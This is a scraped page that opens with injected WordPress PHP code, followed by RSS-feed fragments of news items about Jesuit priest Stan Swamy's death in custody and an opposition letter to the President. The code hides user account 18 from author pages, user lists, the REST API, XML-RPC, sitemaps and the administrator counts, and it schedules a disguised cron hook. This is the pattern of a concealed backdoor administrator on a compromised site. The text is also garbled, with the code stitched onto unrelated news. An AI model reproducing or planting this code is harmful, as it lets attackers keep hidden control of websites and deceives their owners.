add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Opposition demands action against those responsible for “foisting false cases” against Stan Swamy. appeared first on The Edge Media.
]]>In the letter, the leaders alleged that Stan Swamy, Jesuit priest, an accused in Elgar Parishad case was jailed on “trumped up charges under the draconian UAPA” and “was denied treatment for his various ailments”. “The numerous appeals made to shift him out of the over crowded Taloja jail that had seen a huge rise in Covid cases went unheeded. His appeals for bail and being sent home too were rejected, the leader said.
The leaders noted that it was after Bombay high court’s intervention Swamy was admitted to a private hospital when his condition started deteriorating due to Covid-19.
“But it was too late to prevent his death in custody,” the letter read.
The letter has been signed by former PM HD Deve Gowda, NCP’s Sharad Pawar, Tamil Nadu CM MK Stalin, Jharkhand CM Hemant Soren, CPM general secretary Sitaram Yechury, RJD’s Tejaswi Yadav, NC chief Farooq Abdullah and CPI’s D Raja.
The opposition sought President Kovind’s immediate intervention to direct Centre to act against those responsible for “foisting false cases on hint, his continued detention in jail and inhuman treatment”.
The post Opposition demands action against those responsible for “foisting false cases” against Stan Swamy. appeared first on The Edge Media.
]]>The post Stan Swamy passes away at 84 appeared first on The Edge Media.
]]>Swamy’s lawyers had moved the Bombay High Court on Monday morning, seeking an urgent hearing on his medical bail plea after the octogenarian’s health condition deteriorated on Sunday and he was put on ventilator support.
Swamy, who has been admitted to a private hospital since May, was in the Intensive Care Unit and was put on a ventilator on Sunday after he had difficulty breathing and his oxygen levels were fluctuating, his lawyer Mihir Desai said.
Post-midnight, Desai said Sunday, Swamy’s health condition deteriorated. This, he added, could be a result of long-term post-Covid complications.
Swamy was arrested on October 8 last year and was lodged at Taloja central jail till he was shifted to Holy Family hospital on May 30 following directions from the high court.
The post Stan Swamy passes away at 84 appeared first on The Edge Media.
]]>